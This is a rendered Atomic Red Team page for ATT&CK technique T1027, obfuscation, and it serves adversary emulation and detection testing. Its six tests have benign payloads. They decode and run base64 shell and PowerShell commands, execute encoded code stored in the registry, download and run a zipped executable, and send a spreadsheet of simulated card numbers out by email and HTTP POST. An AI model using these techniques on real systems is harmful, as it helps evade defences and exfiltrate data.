Skip to content

Latest commit

 

History

History
245 lines (132 loc) · 8.28 KB

T1027.md

File metadata and controls

245 lines (132 loc) · 8.28 KB

T1027 - Obfuscated Files or Information

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

Atomic Tests


Atomic Test #1 - Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts echo Hello from the Atomic Red Team.

Supported Platforms: macOS, Linux

Attack Commands: Run with sh!

sh -c "echo ZWNobyBIZWxsbyBmcm9tIHRoZSBBdG9taWMgUmVkIFRlYW0= > /tmp/encoded.dat"
cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh


Atomic Test #2 - Execute base64-encoded PowerShell

Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
powershell_command PowerShell command to encode String Write-Host "Hey, Atomic!"

Attack Commands: Run with powershell!

$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand


Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry

Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
registry_key_storage Windows Registry Key to store code String HKCU:Software\Microsoft\Windows\CurrentVersion
powershell_command PowerShell command to encode String Write-Host "Hey, Atomic!"
registry_entry_storage Windows Registry entry to store code under key String Debug

Attack Commands: Run with powershell!

$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"

Cleanup Commands:

Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}


Atomic Test #4 - Execution from Compressed File

Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url_path url to download Exe url https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip

Attack Commands: Run with command_prompt!

"%temp%\temp_T1027.zip\T1027.exe"

Cleanup Commands:

taskkill /f /im calculator.exe >nul 2>nul
rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul
del /Q "%temp%\T1027.zip" >nul 2>nul

Dependencies: Run with powershell!

Description: T1027.exe must exist on disk at $env:temp\temp_T1027.zip\T1027.exe
Check Prereq Commands:
if (Test-Path $env:temp\temp_T1027.zip\T1027.exe) {exit 0} else {exit 1} 
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip"
Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\temp_T1027.zip\" -Force


Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
input_file Path of the XLSM file path PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
sender sender email string [email protected]
receiver receiver email string [email protected]
smtp_server SMTP Server IP Address string 127.0.0.1

Attack Commands: Run with powershell!

Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments #{input_file} -SmtpServer #{smtp_server}


Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
input_file Path of the XLSM file path PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
ip_address Destination IP address string 127.0.0.1

Attack Commands: Run with powershell!

Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file}